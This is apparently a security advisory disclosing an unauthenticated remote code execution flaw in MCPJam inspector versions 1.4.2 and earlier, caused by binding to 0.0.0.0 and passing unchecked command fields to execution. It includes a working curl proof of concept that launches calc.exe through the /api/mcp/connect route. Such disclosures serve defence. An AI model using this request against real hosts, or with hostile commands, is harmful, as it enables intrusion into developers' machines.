GHSA-232v-j27c-5pp6

### Summary MCPJam inspector is the local-first development platform for MCP servers. The Latest version Versions 1.4.2 and earlier are vulnerable to remote code execution (RCE) vulnerability, which allows an attacker to send a crafted HTTP request that triggers the installation of an MCP server, leading to RCE. This vulnerability is similar to CVE-2025-49596, but more severe. While CVE-2025-49596 requires tricking a user into clicking a malicious link, this vulnerability is exploitable with no user interaction. Since MCPJam inspector by default listens on 0.0.0.0 instead of 127.0.0.1, an attacker can trigger the RCE remotely via a simple HTTP request. ### Details MCPJam inspector binds to `0.0.0.0` making its HTTP APIs remotely reachable. ``` TypeScript const server = serve({ fetch: app.fetch, port: SERVER_PORT, hostname: "0.0.0.0", }); ``` The `/api/mcp/connect` API, which is intended for connecting to MCP servers, becomes an open entry point for unauthorized requests. When an HTTP request reaches the `/connect` route, the system extracts the `command` and `args` fields without performing any security checks, leading to the execution of arbitrary command. ### PoC (1) Start up the MCPJam inspector as Github README `npx @mcpjam/inspector@latest` (2) RCE by posting a HTTP request A remote code execution (RCE) attack can be triggered by sending a simple HTTP request to the target host running MCPJam inspector (e.g., http://10.97.58.83:6274 in the test environment). `curl http://10.97.58.83:6274/api/mcp/connect --header "Content-Type: application/json" --data "{\"serverConfig\":{\"command\":\"cmd.exe\",\"args\":[\"/c\", \"calc\"],\"env\":{}},\"serverId\":\"mytest\"}"` <img width="1669" height="1397" alt="image" src="https://github.com/user-attachments/assets/cb6505f1-3cdd-4c64-8f39-a01619a63411" /> ### Impact Remote Code Execution (RCE)